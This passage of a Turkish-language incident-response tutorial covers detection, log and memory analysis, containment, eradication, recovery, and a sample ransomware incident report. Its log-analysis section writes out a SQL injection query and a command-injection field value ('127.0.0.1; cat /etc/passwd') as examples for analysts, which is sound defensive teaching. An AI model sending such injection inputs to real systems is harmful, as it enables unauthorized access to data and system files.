sınıflandırılır.</p><ul><li><strong>Low (Düşük):</strong> Antivirüs tarafından temizlenen bireysel zararlı yazılımlar veya başarısız tarama girişimleri.</li><li><strong>Medium (Orta):</strong> Güvenlik politikalarının ihlali veya kritik olmayan sistemlerin etkilenmesi.</li><li><strong>High (Yüksek):</strong> Kritik sunuculara yetkisiz erişim, veri sızıntısı şüphesi veya aktif fidye yazılımı.</li><li><strong>Critical (Kritik):</strong> İş sürekliliğinin durması veya büyük çaplı veri kaybı.</li></ul><p>Bu sınıflandırma, güvenlik ekiplerinin hangi olaylara öncelik vermeleri gerektiğini belirlemelerine yardımcı olur.</p><h3>5. Teknik Analiz Yöntemleri</h3><p>Tespit edilen güvenlik olayının nasıl gerçekleştiğini anlayabilmek için log, sistem ve bellek analizleri yapılabilir.</p><h4>A. Web Saldırıları Analizi (Log Tabanlı)</h4><p>Web sunucuları, kendilerine gönderilen HTTP isteklerini kayıt altına alabilir.</p><p>Bu kayıtlara <strong>Access Logs (Erişim Kayıtları)</strong> denir.</p><p>Apache, Nginx ve IIS gibi web sunucularının logları, şüpheli isteklerin analiz edilmesinde kullanılabilir.</p><p><strong>Örnek 1: SQL Injection</strong></p><p>Bir e-ticaret sitesinin arama bölümünü düşünelim.</p><p>Normal bir kullanıcı arama kutusuna iphone yazdığında şu HTTP isteği gönderilebilir:</p><pre>GET /search.php?q=iphone HTTP/1.1<br>Host: vulnerable-shop.com<br>User-Agent: Mozilla/5.0...</pre><p>Sunucu isteği işler ve ürün listesini döndürür.</p><p><strong>Response (Yanıt):</strong> 200 OK</p><p>Şimdi saldırganın aynı arama alanından veritabanına müdahale etmeye çalıştığını düşünelim.</p><pre>GET /search.php?q=iphone&#39; UNION SELECT 1,@@version-- HTTP/1.1<br>Host: vulnerable-shop.com<br>User-Agent: Mozilla/5.0...</pre><p>Bu istekte kullanılan ifadeleri inceleyelim.</p><ul><li><strong>&#39; (Tek Tırnak):</strong> SQL sorgusunun yapısını değiştirmeye çalışır.</li><li><strong>UNION SELECT:</strong> Başka bir sorgunun sonuçlarını mevcut sorguyla birleştirmek için kullanılır.</li><li><strong>@@version:</strong> İlgili veritabanı sisteminin sürüm bilgisini döndürmek için kullanılır.</li><li><strong>--:</strong> Uygun SQL sözdiziminde sonraki kısmı yorum satırına dönüştürebilir.</li></ul><p>Eğer uygulama güvenlik açığına sahipse sayfa içeriğinde veritabanı sürümü görüntülenebilir.</p><p>Örneğin:</p><p>5.7.33-log</p><p>Analist, normal isteğin cevabıyla saldırı isteğinin cevabını karşılaştırabilir.</p><p><strong>Content-Length</strong>, HTTP mesajının gövde boyutunu belirtir.</p><p>Saldırı isteğine verilen yanıtın boyutunun normalden belirgin şekilde farklı olması incelemeye değer bir işarettir. Ancak bu fark veya tek başına 200 OK yanıtı saldırının başarılı olduğunu kanıtlamaz.</p><p><strong>Örnek 2: Command Injection (Komut Enjeksiyonu)</strong></p><p>Command Injection, kullanıcıdan alınan verilerin güvenli şekilde kontrol edilmeden işletim sistemi komutlarına eklenmesi sonucu farklı komutların çalıştırılabilmesidir.</p><p>Örneğin bir web uygulamasında kullanıcı IP adresi girerek bağlantı kontrolü yapıyor olsun.</p><p>Saldırgan aşağıdaki isteği gönderebilir:</p><pre>POST /ping.php HTTP/1.1<br>Host: target-server.com<br>Content-Type: application/x-www-form-urlencoded</pre><pre>ip=127.0.0.1; cat /etc/passwd</pre><p>Burada:</p><ul><li><strong>127.0.0.1:</strong> Bilgisayarın kendisini ifade eden yerel IP adresidir.</li><li><strong>; (Noktalı Virgül):</strong> Bu örnekte Linux kabuğunda komutları birbirinden ayırır.</li><li><strong>cat:</strong> Dosya içeriğini görüntülemek için kullanılan komuttur.</li><li><strong>/etc/passwd:</strong> Linux sistemlerinde kullanıcı hesaplarıyla ilgili bilgilerin bulunduğu dosyadır.</li></ul><p>Normalde uygulamanın yalnızca IP adresini kontrol etmesi gerekirken saldırgan ikinci bir komut çalıştırmayı amaçlamaktadır.</p><p>Eğer sunucunun yanıtında şu tür bir çıktı görülürse:</p><pre>root:x:0:0:...</pre><p>Bu, uygulamanın /etc/passwd dosyasının içeriğini döndürmüş olabileceğini gösterir ve başarılı bir komut enjeksiyonuna işaret eder.</p><h4>B. Windows Sistem Analizi (Endpoint)</h4><p>Bir Windows bilgisayarın ele geçirildiğinden şüpheleniliyorsa sistemde çalışan işlemler, başlangıç ayarları ve PowerShell kayıtları incelenebilir.</p><p><strong>1. Şüpheli İşlemler (Processes)</strong></p><p><strong>Process (İşlem/Süreç)</strong>, bilgisayarda çalışmakta olan bir programın yürütülen örneğidir.</p><p>İşlemleri incelemek için Task Manager, Process Hacker veya Process Explorer gibi araçlar kullanılabilir.</p><p><strong>Process Tree (Süreç Ağacı)</strong>, hangi işlemin başka bir işlemi başlattığını gösteren yapıdır.</p><p><strong>Parent Process (Üst/Ebeveyn Süreç)</strong> ise başka bir süreci başlatan işlemdir.</p><p>Şüpheli durumlara örnekler:</p><ul><li>svchost.exe dosyasının normal sistem dizini dışında, örneğin C:\Users\Admin\AppData\Temp konumunda çalışması.</li><li>lsass.exe sürecinin beklenmedik bir ebeveyn süreçle ilişkili görünmesi.</li><li>svchost.exe yerine scvhost.exe veya chrome.exe yerine chorme.exe gibi benzer isimli işlemler bulunması.</li></ul><p>Bu davranışlar tek başına saldırıyı kanıtlamaz ancak araştırılması gereken işaretler olabilir.</p><p><strong>2. Başlangıç Öğeleri (Persistence)</strong></p><p><strong>Persistence (Kalıcılık)</strong>, saldırganın sisteme erişimini yeniden başlatma sonrasında da sürdürebilmesini sağlayan yöntemleri ifade eder.</p><p>Windows üzerinde kalıcılık amacıyla kötüye kullanılabilecek bazı mekanizmalar bulunur.</p><p><strong>Registry (Kayıt Defteri)</strong></p><pre>HKCU\Software\Microsoft\Windows\CurrentVersion\Run<br>HKLM\Software\Microsoft\Windows\CurrentVersion\Run</pre><p>Bu kayıt defteri anahtarları programların otomatik başlatılmasıyla ilişkilidir.</p><p><strong>Scheduled Tasks (Zamanlanmış Görevler)</strong></p><p>Belirli zamanlarda veya olaylar gerçekleştiğinde otomatik çalışacak görevler oluşturulmasını sağlar.</p><p>Mevcut görevleri görüntülemek için:</p><pre>schtasks /query /fo LIST /v</pre><p><strong>Startup Folder (Başlangıç Klasörü)</strong></p><pre>C:\Users\[User]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup</pre><p>Bu klasör, kullanıcı oturum açtığında otomatik başlatılabilecek programlarla ilişkilidir.</p><p><strong>3. PowerShell Logları</strong></p><p>PowerShell, Windows üzerinde komut ve betik çalıştırmak için kullanılan bir araçtır.</p><p>Saldırganlar PowerShell’i kötüye kullanarak dosyasız saldırılar gerçekleştirmeye çalışabilir.</p><p><strong>Fileless Attack (Dosyasız Saldırı)</strong>, zararlı faaliyetlerin geleneksel bir zararlı dosya bırakmadan, sistemdeki meşru araçlar veya bellek üzerinden yürütülmesiyle ilişkili saldırı yaklaşımıdır.</p><p><strong>Event ID 4104 (Script Block Logging)</strong>, PowerShell üzerinde işlenen betik içeriğinin kaydedilmesini sağlar.</p><p>Örneğin -EncodedCommand parametresiyle kodlanmış komutlar kullanıldığında, ilgili PowerShell kayıtları komutun çözümlenmiş içeriğini incelemeye yardımcı olabilir.</p><p><strong>Base64</strong>, verileri belirli karakterler kullanarak temsil eden bir kodlama yöntemidir. Şifreleme yöntemi değildir.</p><h4>C. Bellek (RAM) Analizi</h4><p>Bir saldırının bütün izleri diskte bulunmayabilir. Bazı bilgiler, sistem çalışırken RAM belleğinde tutulur.</p><p><strong>RAM (Random Access Memory)</strong>, çalışan programların ve işlemlerin geçici olarak veri tuttuğu bellektir.</p><p>Bu nedenle olay müdahalesinde bellek analizi önemli olabilir.</p><p><strong>Volatility</strong>, alınmış RAM imajlarını incelemek için kullanılan dijital adli analiz aracıdır.</p><p>Bellek analizinde şu bilgiler araştırılabilir:</p><ul><li>Gizli veya şüpheli işlemler.</li><li>Açık ağ bağlantıları.</li><li>Komut satırı geçmişine ilişkin izler.</li><li>Bellekte bulunabilecek kimlik bilgileri veya hash değerleri.</li></ul><p><strong>Memory Image (Bellek İmajı)</strong>, RAM içeriğinin inceleme amacıyla alınmış kopyasıdır.</p><h3>6. Analiz Araç Seti</h3><p>Olay müdahalesinde çeşitli analiz araçları kullanılabilir.</p><p><strong>Wireshark : </strong>Ağ trafiğini incelemek için kullanılan araçtır.</p><p><strong>PCAP (Packet Capture)</strong>, ağ paketlerinin kaydedildiği dosya biçimleriyle ilişkilidir. Wireshark ile bu kayıtlar incelenebilir.</p><p><strong>Sysinternals Suit : </strong>Windows sistemlerinin ayrıntılı incelenmesini sağlayan araçlar topluluğudur.</p><p>Örneğin:</p><ul><li><strong>Process Explorer:</strong> Çalışan işlemleri ve aralarındaki ilişkileri incelemek için kullanılır.</li><li><strong>Autoruns:</strong> Otomatik başlayan programları ve başlangıç noktalarını incelemek için kullanılır.</li></ul><p><strong>Volatility : </strong>RAM belleğinden alınmış imajların analiz edilmesini sağlar.</p><p><strong>CyberChef : </strong>Base64, Hex gibi farklı kodlama biçimlerini dönüştürmek ve verileri analiz etmek için kullanılan araçtır.</p><p>CyberChef, çok sayıda veri dönüştürme işlemini bir arada sunması nedeniyle dijital analizde kullanışlıdır.</p><h3>3. Aşama — Sınırlama (Containment)</h3><p>Sınırlama (Containment), tespit edilen ve doğrulanan bir siber saldırının daha fazla sisteme yayılmasını ve zarar vermesini engellemeyi amaçlayan olay müdahale aşamasıdır.</p><p>Bu aşamayı bir yangının diğer odalara sıçramasını engellemeye benzetebiliriz. Yangın henüz tamamen söndürülmemiştir ancak yayılması durdurulmaya çalışılır.</p><p>Siber güvenlikte de saldırganın ağ içerisindeki hareketini ve veri hırsızlığını sınırlandırmak hedeflenir.</p><p><strong><em>Lateral Movement (Yanal Hareket):</em></strong><em> Saldırganın ele geçirdiği bir sistemden aynı ağ üzerindeki başka sistemlere geçmeye çalışmasıdır.</em></p><p>Sınırlama iki temel aşamada ele alınır: Kısa Vadeli Sınırlama ve Uzun Vadeli Sınırlama.</p><h3>1. Kısa Vadeli Sınırlama (Short-Term Containment)</h3><p>Kısa vadeli sınırlamanın amacı, saldırının etkisini mümkün olduğunca hızlı durdurmaktır.</p><p><strong>Ağdan İzole Etme (Isolation) : </strong>Saldırıdan etkilenen bilgisayarın veya sunucunun ağ bağlantısının kesilmesidir.</p><p><strong>vNIC (Virtual Network Interface Card — Sanal Ağ Arayüz Kartı):</strong> Sanal makinelerin ağ bağlantısı kurmasını sağlayan sanal bileşendir.</p><p><strong>IP Engelleme : </strong>Saldırganın kullandığı IP adreslerinin güvenlik duvarı (Firewall) üzerinden engellenmesidir.</p><p><strong>Hesap Kilitleme</strong></p><p>Ele geçirildiğinden şüphelenilen kullanıcı hesaplarının geçici olarak devre dışı bırakılmasıdır.</p><p>Örneğin saldırganın erişim sağladığı bir Active Directory hesabı kapatılarak hesabın kullanılmaya devam edilmesi engellenebilir.</p><h3>2. Uzun Vadeli Sınırlama (Long-Term Containment)</h3><p>Uzun vadeli sınırlama, etkilenen sistemlerin tamamen temizlenip normal çalışmasına döndürülmesinden önce güvenliğin güçlendirilmesini amaçlar.</p><h4><strong>Geçici Yamalar (Temporary Fixes)</strong></h4><p>Saldırganın kullandığı güvenlik açığından yeniden yararlanılmasını önlemek için geçici güvenlik önlemleri uygulanabilir.</p><p><strong>Virtual Patch (Sanal Yama):</strong> Uygulamanın kaynak kodunu değiştirmeden, güvenlik açığından yararlanılmasını engellemeye yönelik koruma yöntemidir.</p><p><strong>WAF (Web Application Firewall — Web Uygulaması Güvenlik Duvarı), </strong>web uygulamalarına yönelen şüpheli veya zararlı HTTP isteklerini filtrelemeye yardımcı olur.</p><p><strong>Ağ Segmentasyonu (Network Segmentation) : </strong>Kurum ağının farklı bölümlere ayrılması ve bu bölümler arasındaki iletişimin sınırlandırılmasıdır.</p><p>Örneğin muhasebe departmanındaki bir bilgisayara zararlı yazılım bulaştığını düşünelim.</p><p>Muhasebe ağının sunucuların bulunduğu ağla iletişimi geçici olarak sınırlandırılabilir. Böylece zararlı yazılımın diğer sistemlere yayılması zorlaştırılır.</p><p><strong>VLAN (Virtual Local Area Network — Sanal Yerel Alan Ağı):</strong> Fiziksel bir ağ altyapısı üzerinde cihazların mantıksal olarak farklı ağ gruplarına ayrılmasını sağlayan yapıdır.</p><p><strong>Şifrelerin Değiştirilmesi (Password Reset) :</strong>Ele geçirilmiş olabilecek hesapların şifreleri değiştirilerek saldırganın bu hesapları yeniden kullanması engellenmeye çalışılır.</p><p><strong>Golden Ticket Attack : </strong>Active Directory ortamlarında<strong> Kerberos kimlik doğrulama mekanizmasının kötüye kullanılmasıyla gerçekleştirilen</strong> bir saldırı türüdür.</p><p><strong><em>Kerberos</em></strong><em>, kullanıcıların ve sistemlerin kimliklerini doğrulamak için kullanılan bir protokoldür.</em></p><p><strong>krbtgt</strong>, Active Directory içerisinde Kerberos biletlerinin oluşturulması ve doğrulanması süreçleriyle ilişkili özel bir hesaptır.</p><p>Golden Ticket saldırısı şüphesinde, uygun müdahale prosedürleri kapsamında krbtgt hesabının parolasının iki aşamalı olarak değiştirilmesi gerekebilir.</p><p>Buradaki temel amaç, saldırganın daha önce elde ettiği kimlik doğrulama bilgilerinden yararlanmasını engellemektir.</p><h3>3. Sık Yapılan Hatalar: Sistemi Hemen Kapatmak Doğru mu?</h3><p>Bir bilgisayara zararlı yazılım bulaştığında ilk akla gelen yöntemlerden biri sistemi kapatmaktır.</p><p>Ancak olay müdahalesinde bilgisayarı hemen kapatmak her zaman doğru yaklaşım değildir.</p><p><strong>RAM’deki Delillerin Kaybolması<br></strong>RAM, bilgisayar çalışırken kullanılan geçici bellektir.</p><p>Bilgisayar kapatıldığında RAM içerisindeki bilgiler genellikle kaybolur.</p><p>Bu bilgiler arasında çalışan zararlı yazılımların izleri, aktif ağ bağlantıları veya bazı şifreleme anahtarları bulunabilir.</p><p><strong>Volatile Data (Geçici Veri):</strong> Sistem kapatıldığında veya yeniden başlatıldığında kaybolabilecek verilerdir.</p><p>Bu nedenle güvenlik analisti, olayın koşulları uygunsa sistemi kapatmadan önce RAM imajını almayı tercih edebilir.</p><h4><strong>Dead Man’s Switch (Otomatik Tetiklenen Mekanizma)</strong></h4><p>Bazı zararlı yazılımlar, belirli bir bağlantının kesilmesi veya bir koşulun gerçekleşmesi durumunda otomatik olarak işlem gerçekleştirecek şekilde hazırlanabilir.</p><p>Örneğin saldırgan, bağlantısı kesildiğinde dosyaları silmeye veya şifrelemeye başlayan bir mekanizma oluşturmuş olabilir.</p><p><strong>Wiper</strong>, verileri silerek veya bozarak zarar vermeyi amaçlayan zararlı yazılım türüdür.</p><p><strong>Ransomware (Fidye Yazılımı)</strong> ise dosyaları şifreleyerek erişilemez hâle getirebilir ve karşılığında fidye talep edebilir.</p><p><strong>Peki ne yapılmalı?</strong></p><p>Mümkün olduğunda dijital deliller korunmalı, sistemin ağ bağlantısı kontrollü şekilde kesilmeli ve inceleme yapılmalıdır.</p><p>Yani doğru müdahale yöntemi saldırının türüne ve oluşturduğu riske göre belirlenmelidir.</p><h3>4. Segmentasyon ve VLAN Kullanımı</h3><p>Ağ segmentasyonu, bir saldırının kurum içerisindeki diğer sistemlere yayılmasını zorlaştırmak için kullanılan önemli yöntemlerden biridir.</p><p>Örneğin bir şirketin muhasebe bilgisayarlarının ve kritik sunucularının farklı VLAN’larda bulunduğunu düşünelim.</p><p>Muhasebe departmanındaki bir bilgisayara zararlı yazılım bulaştığında bu ağın sunucu ağına erişimi kısıtlanabilir.</p><p>Böylece saldırganın diğer sistemlere geçmesi, yani Lateral Movement gerçekleştirmesi zorlaştırılır.</p><p>Buradaki amaç, saldırıdan etkilenmeyen sistemleri mümkün olduğunca korumaktır.</p><h3>5. Kanıtların Korunması (Preservation of Evidence)</h3><p>Sınırlama sırasında yalnızca saldırıyı durdurmak değil, saldırıya ilişkin dijital delilleri korumak da önemlidir.</p><p>Özellikle hukuki süreçlerin söz konusu olabileceği olaylarda delillerin uygun şekilde toplanması ve saklanması gerekir.</p><p><strong>Forensic Image (Adli Disk İmajı) : </strong>Bir diskin veya depolama ortamının adli inceleme amacıyla alınan birebir kopyasıdır.</p><h4><strong>Hash (Özet Değer)</strong></h4><p>Bir dosyanın veya disk imajının içeriğinden hesaplanan tanımlayıcı değerdir. MD5 ve SHA-256, hash hesaplamalarında kullanılan algoritmalara örnektir.</p><p>Adli imajın hash değeri kaydedilerek inceleme sürecinde içeriğinin değişip değişmediği kontrol edilebilir.</p><h4><strong>Chain of Custody (Delil Muhafaza Zinciri)</strong></h4><p>Dijital delilin kim tarafından, ne zaman, nerede ve hangi işlemler için teslim alındığını veya kullanıldığını kayıt altına alan süreçtir.</p><p>Örneğin bir bilgisayarın disk imajını alan analistin kimliği, işlemin zamanı ve elde edilen hash değeri kayıt altına alınabilir.</p><p>Bu kayıtlar, delilin bütünlüğünün ve geçmişinin takip edilmesine yardımcı olur.</p><h3>4. Aşama — Etkisiz Hale Getirme (Eradication)</h3><p>Etkisiz Hale Getirme (Eradication), saldırı sınırlandırıldıktan sonra zararlı yazılımların temizlendiği, saldırının kök nedeninin ortadan kaldırıldığı ve saldırganın yeniden sisteme erişmesinin engellenmeye çalışıldığı aşamadır.</p><h3>1. Kök Nedenin Belirlenmesi ve Giderilmesi</h3><p><strong>Root Cause (Kök Neden)</strong>, saldırının gerçekleşmesine yol açan temel sorundur.</p><p>Örneğin saldırgan bir güvenlik açığından yararlanarak sisteme girdiyse yalnızca zararlı yazılımı silmek yeterli değildir. Aynı açığı tekrar kullanmasını engellemek gerekir.</p><ul><li><strong>Vulnerability (Zafiyet):</strong> Saldırgan EternalBlue gibi bir Exploit (Sömürü Kodu) kullandıysa ilgili güvenlik yaması (Patch) uygulanmalıdır.</li><li><strong>Zayıf Şifre:</strong> Saldırgan RDP (Uzak Masaüstü Protokolü) üzerinden Brute Force (Kaba Kuvvet) saldırısıyla girdiyse şifre politikaları güçlendirilmeli ve MFA (Çok Faktörlü Kimlik Doğrulama) etkinleştirilmelidir.</li><li><strong>Phishing (Oltalama):</strong> Saldırı zararlı bir e-posta bağlantısıyla gerçekleştiyse Email Gateway (E-posta Ağ Geçidi) kuralları güçlendirilmeli ve kullanıcı eğitimi planlanmalıdır.</li></ul><h3>2. Zararlı Yazılımların Temizlenmesi</h3><p>Saldırganın sistemde bıraktığı zararlı dosyalar, arka kapılar (Backdoors) ve diğer araçlar temizlenmelidir.</p><ul><li><strong>Antivirüs/EDR Taraması:</strong> Sistemdeki zararlı yazılımları ve şüpheli faaliyetleri tespit etmek için tam tarama yapılır. EDR, Uç Nokta Tespit ve Müdahale sistemidir.</li><li><strong>Manuel Temizlik:</strong> Otomatik araçların tespit edemediği Persistence (Kalıcılık) mekanizmaları temizlenir. Örneğin Windows Registry (Kayıt Defteri) girdileri veya Scheduled Tasks (Zamanlanmış Görevler).</li></ul><h3>3. Yeniden Kurulum ve Temizleme</h3><p>Ele geçirilmiş bir sistemden zararlı dosyaların temizlenmesi, sistemin tamamen güvenli olduğunu garanti etmez.</p><p>Bu nedenle bazı durumlarda sistemi temizlemek yerine sıfırdan kurmak tercih edilir.</p><p><strong>Re-imaging (Yeniden İmajdan Kurulum):</strong> Sistemin güvenilir bir işletim sistemi imajıyla yeniden kurulmasıdır.</p><p>Bunun nedeni, <strong>Rootkit</strong> gibi gelişmiş zararlı yazılımların işletim sistemi çekirdeğinde (Kernel) veya BIOS/UEFI gibi düşük seviyeli sistem bileşenlerinde gizlenebilmesidir.</p><p>Bu durumda önemli veriler güvenli şekilde yedeklenir, disk yeniden hazırlanır ve temiz bir <strong>Golden Image (Güvenilir Sistem İmajı)</strong> üzerinden kurulum yapılır.</p><h3>4. Kimlik Bilgilerinin Yenilenmesi</h3><p>Saldırgan sistemde bulunduğu süre boyunca kullanıcıların kimlik bilgilerini ele geçirmiş olabilir.</p><p>Örneğin:</p><ul><li><strong>Dump LSASS:</strong> Windows’un kimlik doğrulama süreçlerinde kullanılan LSASS belleğinden hassas bilgilerin elde edilmeye çalışılması.</li><li><strong>Keylogger (Tuş Kaydedici):</strong> Kullanıcının klavyede bastığı tuşları kaydeden yazılım veya donanım.</li></ul><p>Bu nedenle:</p><ul><li>Etkilenen kullanıcıların şifreleri değiştirilmelidir.</li><li>Service Accounts (Servis Hesapları) ve veritabanı bağlantı şifreleri yenilenmelidir.</li><li>SSH Keys (SSH Anahtarları) ve API Tokens (API Erişim Belirteçleri) iptal edilerek yenileri oluşturulmalıdır.</li></ul><p><strong>Revoke</strong>, mevcut bir anahtarın veya erişim yetkisinin iptal edilmesi anlamına gelir.</p><h3>Güvenlik İyileştirmeleri</h3><p>Sistem temizlendikten sonra güvenliği artırmak için ek önlemler alınmalıdır.</p><ul><li>Gereksiz portlar kapatılmalıdır.</li><li>Uygulamalar <strong>Least Privilege (En Az Yetki İlkesi)</strong> ile çalıştırılmalıdır.</li><li>Güvenlik kayıtları (Logs) daha ayrıntılı tutulmalıdır.</li></ul><p>Bu güvenlik güçlendirme işlemleri <strong>Hardening (Sistem Sıkılaştırma)</strong> olarak adlandırılır.</p><h3>5. Aşama — Kurtarma (Recovery)</h3><p>Kurtarma (Recovery), saldırıdan etkilenen sistemlerin temizlendikten sonra güvenli ve kontrollü şekilde normal çalışmalarına döndürülmesi aşamasıdır.</p><p>Bu aşamada amaç, sistemleri yalnızca yeniden çalıştırmak değil, saldırının tekrarlanmadığından emin olarak üretim ortamına (Production) geri almaktır.</p><h3>1. Geri Yükleme ve Doğrulama</h3><p>Temizlenen veya yeniden kurulan sistemler, gerçek kullanıcıların erişimine açılmadan önce test edilmelidir.</p><ul><li><strong>Yedekten Dönme (Backup Restoration):</strong> Sistemler temiz bir yedekten geri yüklenmelidir. Yedeğin saldırıdan önce alınmış ve zararlı yazılım içermediği doğrulanmış olması önemlidir. Aksi hâlde zararlı yazılım yeniden sisteme bulaşabilir.</li><li><strong>Fonksiyonel Testler (Functional Tests):</strong> Sistemlerin beklendiği gibi çalışıp çalışmadığı, performansları ve veritabanı bağlantıları kontrol edilmelidir.</li><li><strong>Güvenlik Taraması (Security Scan):</strong> Sistemler yeniden kullanıma açılmadan önce güvenlik açıkları açısından taranmalıdır.</li></ul><p><strong>Time Bomb (Zaman Ayarlı Zararlı Kod):</strong> Belirli bir zamanda veya koşul gerçekleştiğinde çalışacak şekilde hazırlanmış zararlı koddur.</p><h3>2. Kademeli Açılış</h3><p>Saldırıdan etkilenen tüm sistemlerin aynı anda yeniden çalıştırılması risk oluşturabilir.</p><p>Bu nedenle sistemler belirli bir sırayla kullanıma açılır:</p><ol><li><strong>Kritik Altyapı Sunucuları:</strong> DNS ve DC gibi temel sistemler.</li><li><strong>İş Uygulamaları:</strong> Kurumun faaliyetlerini sürdürebilmesi için kullandığı uygulamalar.</li><li><strong>Son Kullanıcı Erişimleri:</strong> Çalışanların ve diğer kullanıcıların sistemlere yeniden erişmesi.</li></ol><p><strong>DNS (Domain Name System):</strong> Alan adlarını IP adresleriyle ilişkilendiren sistemdir.</p><p><strong>DC (Domain Controller — Etki Alanı Denetleyicisi):</strong> Active Directory ortamında kullanıcıların kimlik doğrulama ve erişim süreçlerini yöneten sunucudur.</p><p>Her sistem yeniden açıldığında davranışları izlenerek herhangi bir şüpheli faaliyet bulunup bulunmadığı kontrol edilir.</p><h3>3. Gelişmiş İzleme</h3><p>Sistemler yeniden çalışmaya başladığında saldırganın geri dönme ihtimaline karşı güvenlik izlemesi artırılmalıdır.</p><p><strong>Log Seviyeleri</strong></p><p>Geçici olarak daha ayrıntılı kayıt tutmak için loglama seviyesi artırılabilir.</p><ul><li><strong>Verbose (Ayrıntılı):</strong> İşlemler hakkında daha kapsamlı kayıt oluşturulmasıdır.</li><li><strong>Debug (Hata Ayıklama):</strong> Sistemlerin çalışma süreçlerine ilişkin teknik ayrıntıların kaydedilmesini sağlar.</li></ul><p><strong>Alarm Eşikleri (Thresholds)</strong></p><p><strong>Threshold (Eşik Değeri)</strong>, güvenlik sisteminin hangi koşulda alarm oluşturacağını belirleyen sınırdır.</p><p>Örneğin SIEM normalde 10 başarısız giriş denemesinde alarm üretiyorsa, kurtarma sürecinde bu eşik 3 denemeye düşürülebilir.</p><p><strong>Özel Alarmlar</strong></p><p>Saldırı sırasında tespit edilen göstergeler için özel güvenlik alarmları oluşturulabilir.</p><p><strong>IOC (Indicators of Compromise — Ele Geçirilme Göstergeleri)</strong>, bir sistemin saldırıya uğradığına işaret edebilen bulgulardır.</p><p>Örneğin saldırganın IP adresi, kullandığı alan adı veya zararlı dosyanın hash değeri IOC olabilir.</p><p>Bu göstergeler tekrar görüldüğünde güvenlik ekibinin uyarılması sağlanabilir.</p><h3>4. Kurtarma Ne Zaman Tamamlanır?</h3><p>Sistemlerin tamamen normal çalışmaya döndürülmesine genellikle teknik ekip ve kurum yönetimi birlikte karar verir.</p><p><strong>CSIRT Lideri</strong>, güvenlik olayına müdahale eden ekibin çalışmalarını koordine eden kişidir.</p><p>Kurtarma aşamasının tamamlanabilmesi için şu koşullar değerlendirilir:</p><ul><li>Etkilenen sistemlerin temizlenmiş ve gerekli güvenlik yamalarının uygulanmış olması.</li><li>İş süreçlerinin normal şekilde çalışması.</li><li>Belirlenen izleme süresi boyunca şüpheli faaliyet veya yeniden bulaşma görülmemesi.</li></ul><p><strong>Re-infection (Yeniden Bulaşma)</strong>, temizlenen bir sisteme zararlı yazılımın tekrar bulaşmasıdır.</p><p>Örneğin sistemler 48 saat boyunca izlenebilir. Ancak bu süre her kurum ve olay için sabit değildir.</p><h3>Sonuç</h3><p>Kurtarma aşamasında temizlenen sistemler test edilir, kontrollü şekilde yeniden kullanıma açılır ve güvenlik açısından yakından izlenir.</p><p><strong>Eradication (Etkisiz Hale Getirme)</strong> aşamasında tehditleri temizlerken <strong>Recovery (Kurtarma)</strong> aşamasında sistemleri güvenli şekilde normal çalışmasına döndürürüz.</p><h3>6. Aşama — Olay Sonrası Aktiviteler (Lessons Learned)</h3><p><strong>Lessons Learned (Ders Çıkarma)</strong>, olay müdahale sürecinde nelerin doğru yapıldığını, hangi eksikliklerin bulunduğunu ve nelerin iyileştirilmesi gerektiğini belirlemeyi amaçlar.</p><h3>1. Ders Çıkarma Toplantısı (Post-Mortem / Lessons Learned Meeting)</h3><p>Güvenlik olayı kapatıldıktan sonra, genellikle ilk iki hafta içerisinde müdahaleye katılan ekiplerin bir araya gelerek olayı değerlendirmesi önerilir.</p><p><strong>Post-Mortem</strong>, olay tamamlandıktan sonra gerçekleştirilen değerlendirme toplantısıdır.</p><p>Toplantıda şu sorular değerlendirilir:</p><ul><li>Olay nasıl ve ne zaman gerçekleşti?</li><li>Olayın tespit edilmesi ne kadar sürdü?</li><li>Müdahale ve çözüm süreci ne kadar sürdü?</li><li>Hangi prosedürler işe yaradı?</li><li>Hangi güvenlik araçları yetersiz kaldı?</li><li>Ekipler arasında iletişim sorunları yaşandı mı?</li></ul><p>Bu süreçte iki önemli metrik kullanılır:</p><p><strong>MTTD (Mean Time To Detect — Ortalama Tespit Süresi):</strong> Güvenlik olaylarının başlaması ile tespit edilmesi arasında geçen ortalama süredir.</p><p><strong>MTTR (Mean Time To Respond — Ortalama Müdahale Süresi):</strong> Güvenlik olaylarına müdahale etmek için geçen ortalama süredir.</p><p>Bu metrikler, güvenlik ekibinin olayları ne kadar hızlı tespit edip müdahale edebildiğini değerlendirmeye yardımcı olur.</p><h3>2. Olay Raporu (Incident Report)</h3><p>Güvenlik olayı tamamlandıktan sonra yapılan incelemeler ve müdahale işlemleri yazılı bir rapor hâline getirilmelidir.</p><p><strong>Incident Report (Olay Raporu)</strong>, olayın nasıl gerçekleştiğini, hangi sistemleri etkilediğini, uygulanan müdahaleleri ve elde edilen sonuçları açıklayan belgedir.</p><h4>Örnek Olay Müdahale Raporu</h4><pre># Olay Müdahale Raporu (Incident Response Report)</pre><pre>Olay ID: IR-2023-001<br>Tarih: 25 Ekim 2023<br>Hazırlayan: CSIRT Lideri<br>Olay Türü: Ransomware / Veri Sızıntısı<br>Şiddet Seviyesi: Kritik (Critical)</pre><p><strong>1. Yönetici Özeti (Executive Summary)</strong></p><p>23 Ekim 2023 tarihinde saat 09.15&#39;te finans departmanındaki bir sunucuda fidye yazılımı (Ransomware) aktivitesi tespit edilmiştir.</p><p>Olay, bir kullanıcının oltalama (Phishing) e-postasını açmasıyla başlamıştır.</p><p>Müdahale ekibi, saldırı başlangıcından 30 dakika sonra olayı tespit etmiş ve 15 dakika içerisinde sunucuyu ağdan izole etmiştir. Veri kaybı yaşanmamış ve sistemler yedekten geri yüklenerek 6 saat içinde yeniden hizmete alınmıştır.</p><p><strong>2. Olayın Zaman Çizelgesi (Timeline)</strong></p><p><strong>Timeline</strong>, güvenlik olayı sırasında gerçekleşen faaliyetlerin kronolojik olarak sıralanmasıdır.</p><ul><li><strong>23 Ekim 08.30:</strong> Saldırgan zararlı ek içeren bir e-posta gönderdi.</li><li><strong>23 Ekim 08.45:</strong> Kullanıcı eki açtı ve Emotet zararlı yazılımı çalıştı.</li><li><strong>23 Ekim 09.00:</strong> C2 sunucusuyla iletişim kuruldu ve fidye yazılımı indirildi.</li><li><strong>23 Ekim 09.15:</strong> SIEM, çok sayıda dosya adı değişikliği nedeniyle alarm üretti.</li><li><strong>23 Ekim 09.30:</strong> CSIRT olayı doğruladı ve sunucuyu ağdan izole etti.</li></ul><p><strong>3. Teknik Analiz ve Kök Neden (Root Cause Analysis)</strong></p><p><strong>Root Cause Analysis (Kök Neden Analizi)</strong>, saldırının gerçekleşmesine neden olan temel sorunun araştırılmasıdır.</p><p>Örnekte 